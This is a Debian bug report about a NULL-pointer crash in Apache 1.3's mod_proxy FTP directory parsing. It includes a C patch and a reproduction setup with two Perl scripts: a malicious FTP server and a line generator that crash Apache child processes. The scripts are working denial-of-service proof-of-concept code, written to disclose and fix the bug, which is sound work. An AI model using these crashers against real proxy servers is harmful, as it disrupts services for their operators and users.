--- Begin Message ---
Subject: apache-common: mod_proxy segfaults (NULL deref.) when FTP server sends
back no spaces
Package: apache-common
Version: 1.3.34-4
Severity: important
Tags: patch
Hello,
I have found a NULL dereferencing bug in mod_proxy. If there is a malicious
remote
FTP server and someone uses Apache and mod_proxy to connect to that FTP server,
the server can reply to "LIST" with a directory listing showing directories or
ordinary files with no spaces whatsoever in the line. There is a strrchr(3) call
with no check if it returns NULL, and the code afterwards crashes the Apache
child
when the server sends back such lines without spaces.
The bug both affects the 1.3.x and 2.x branches of Apache.
I do not see any security implications to this bug, despite the remote
crashing, as
it only seems possible to use it to crash the Apache child and not the main
process,
no matter what MPM you use.
This was reported to upstream a few months ago:
o http://issues.apache.org/bugzilla/show_bug.cgi?id=40733
// Ulf Harnhammar
metaur:~# fgrep ftpspecial /etc/services
ftpspecial 1096/tcp
ftpspecial 1096/udp
metaur:~# tail -n2 /etc/inetd.conf
ftp stream tcp nowait root /usr/bin/perl perl /root/apache-crasher.pl
ftpspecial stream tcp nowait root /usr/bin/perl perl
/root/apache-crasher2.pl
metaur:~# fgrep -A33 'mod_proxy' /etc/apache/httpd.conf
<IfModule mod_proxy.c>
#
# Proxy Server directives. Uncomment the following lines to
# enable the proxy server:
#
ProxyRequests On
<Directory proxy:*>
Order deny,allow
Deny from all
Allow from 127.0.0.1
</Directory>
#
# Enable/disable the handling of HTTP/1.1 "Via:" headers.
# ("Full" adds the server version; "Block" removes all outgoing Via:
headers)
# Set to one of: Off | On | Full | Block
#
#ProxyVia On
#
# To enable the cache as well, edit and uncomment the following lines:
# (no cacheing without CacheRoot)
#
#CacheRoot "/var/cache/apache"
#CacheSize 5
#CacheGcInterval 4
#CacheMaxExpire 24
#CacheLastModifiedFactor 0.1
#CacheDefaultExpire 1
#NoCache a_domain.com another_domain.edu joes.garage_sale.com
</IfModule>
metaur:~# nc localhost 80
GET ftp://localhost/ HTTP/1.0
metaur:~# cd /var/log/apache
metaur:/var/log/apache# cat access.log
metaur:/var/log/apache# cat error.log
[Sat Dec 23 00:11:53 2006] [notice] Apache configured -- resuming normal
operations
[Sat Dec 23 00:11:53 2006] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sat Dec 23 00:13:25 2006] [notice] child pid 20656 exit signal Segmentation
fault (11)
metaur:/var/log/apache# cd
metaur:~#
-- System Information:
Debian Release: 4.0
APT prefers testing
APT policy: (500, 'testing')
Architecture: i386 (i686)
Shell: /bin/sh linked to /bin/bash
Kernel: Linux 2.4.27-3-686
Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1)
Versions of packages apache-common depends on:
ii apache2-utils 2.2.3-3.2 utility programs for webservers
ii debconf [debconf-2.0] 1.5.8 Debian configuration management sy
ii dillo [www-browser] 0.8.5-4 Small and fast web browser
ii elinks [www-browser] 0.11.1-1.2 advanced text-mode WWW browser
ii epiphany-browser [www 2.14.3-3 Intuitive GNOME web browser
ii firefox [www-browser] 1.5.dfsg+1.5.0.7-2 lightweight web browser based on M
ii galeon [www-browser] 2.0.2-4 GNOME web browser for advanced use
ii konqueror [www-browse 4:3.5.5a.dfsg.1-2 KDE's advanced file manager, web b
ii libc6 2.3.6.ds1-8 GNU C Library: Shared libraries
ii libdb4.4 4.4.20-8 Berkeley v4.4 Database Libraries [
ii libexpat1 1.95.8-3.3 XML parsing C library - runtime li
ii links2 [www-browser] 2.1pre26-4 Web browser running in both graphi
ii lynx [www-browser] 2.8.5-2sarge2.2 Text-mode WWW Browser
ii mime-support 3.39-1 MIME files 'mime.types' & 'mailcap
ii perl 5.8.8-6.1 Larry Wall's Practical Extraction
ii sed 4.1.5-1 The GNU sed stream editor
ii ucf 2.0017 Update Configuration File: preserv
apache-common recommends no packages.
-- debconf information excluded
--- src/modules/proxy/proxy_ftp.c.old 2006-12-22 23:44:57.000000000 +0100
+++ src/modules/proxy/proxy_ftp.c 2006-12-23 00:23:13.000000000 +0100
@@ -357,33 +357,38 @@ static long int send_dir(BUFF *data, req
}
filename = strrchr(buf, ' ');
- *(filename++) = 0;
-
- /* handle filenames with spaces in 'em */
- if (!strcmp(filename, ".") || !strcmp(filename, "..") || firstfile) {
- firstfile = 0;
- searchidx = filename - buf;
- }
- else if (searchidx != 0 && buf[searchidx] != 0) {
- *(--filename) = ' ';
- buf[searchidx - 1] = 0;
- filename = &buf[searchidx];
- }
-
- /* Special handling for '.' and '..': append slash to link */
- if (!strcmp(filename, ".") || !strcmp(filename, "..") || buf[0] == 'd') {
- ap_snprintf(buf2, buf_size, "%s <a href=\"%s/\">%s</a>\n",
- ap_escape_html(p, buf), ap_escape_uri(p, filename),
- ap_escape_html(p, filename));
- }
- else {
- ap_snprintf(buf2, buf_size, "%s <a href=\"%s\">%s</a>\n",
- ap_escape_html(p, buf),
- ap_escape_uri(p, filename),
- ap_escape_html(p, filename));
+ if (filename == NULL) {
+ ap_log_rerror(APLOG_MARK, APLOG_ERR, c->req,
+ "proxy: error parsing %s", buf);
+ } else {
+ *(filename++) = 0;
+
+ /* handle filenames with spaces in 'em */
+ if (!strcmp(filename, ".") || !strcmp(filename, "..") || firstfile) {
+ firstfile = 0;
+ searchidx = filename - buf;
+ }
+ else if (searchidx != 0 && buf[searchidx] != 0) {
+ *(--filename) = ' ';
+ buf[searchidx - 1] = 0;
+ filename = &buf[searchidx];
+ }
+
+ /* Special handling for '.' and '..': append slash to link */
+ if (!strcmp(filename, ".") || !strcmp(filename, "..") || buf[0] == 'd') {
+ ap_snprintf(buf2, buf_size, "%s <a href=\"%s/\">%s</a>\n",
+ ap_escape_html(p, buf), ap_escape_uri(p, filename),
+ ap_escape_html(p, filename));
+ }
+ else {
+ ap_snprintf(buf2, buf_size, "%s <a href=\"%s\">%s</a>\n",
+ ap_escape_html(p, buf),
+ ap_escape_uri(p, filename),
+ ap_escape_html(p, filename));
+ }
+ ap_cpystrn(buf, buf2, buf_size);
+ n = strlen(buf);
}
- ap_cpystrn(buf, buf2, buf_size);
- n = strlen(buf);
}
/* else??? What about other OS's output formats? */
else {
#!/usr/bin/perl --
# apache-crasher.pl
# by Ulf Harnhammar in 2004-2006
# I hereby place this program in the public domain.
use strict;
use Socket;
$main::loggedin = 0;
sub mysend($)
{
print "$_[0]\015\012";
} # sub mysend($)
sub myreceive($)
{
my $inp = '';
$inp = <STDIN>; $inp =~ tr/\015\012\000//d;
$_[0] = $inp;
} # sub myreceive($)
$main::ipline = `/sbin/ifconfig | egrep '^ *inet addr:' | fgrep -v '127.0.0.1'`;
$main::ipline =~ s|^ *inet addr:||;
$main::ipline =~ s|^([0-9.]+).*$|$1|s;
die "don't know my address\n" unless $main::ipline;
$main::ipline =~ tr/./,/;
$|++;
mysend('220 Welcome to apache crasher 0.1.0 !!');
while (1)
{
my ($str, $savestr, $reststr) = ('', '', '');
alarm 5;
myreceive($str);
alarm 0;
$savestr = $str;
$str =~ s|^([A-Z]+) *(.*)$|$1|;
$reststr = $2;
if ($str eq 'USER')
{
mysend('331 Anonymous access allowed, send identity (e-mail name) '.
'as password.');
$main::loggedin = 1;
next;
}
if (($str eq 'PASS') && ($main::loggedin == 1))
{ mysend('230 Anonymous user logged in.'); $main::loggedin = 2; next; }
if ($main::loggedin < 2)
{ mysend("500 '$savestr': Command not understood."); next; }
if ($str eq 'SYST')
{ mysend('215 Windows_NT'); next; }
if ($str eq 'PWD')
{ mysend('257 "/" is current directory.'); next; }
if ($str eq 'TYPE')
{ mysend("200 Type set to $reststr."); next; }
if ($str eq 'PASV')
{
mysend("227 Entering Passive Mode ($main::ipline,4,72)"); next;
}
if ($str eq 'LIST')
{
sleep 2;
mysend('226 Transfer complete.');
next;
}
if ($str eq 'QUIT')
{
mysend('221 Thanks for using apache crasher 0.1.0 !');
exit 0;
}
mysend("500 '$savestr': Command not understood.");
} # while 1
__END__
#!/usr/bin/perl --
# apache-crasher2.pl
# by Ulf Harnhammar in 2006
# I hereby place this program in the public domain.
print '-rwxrwxrwx_______________________'.
"Apache_Crasher_0.1.0\015\012";
--- End Message ---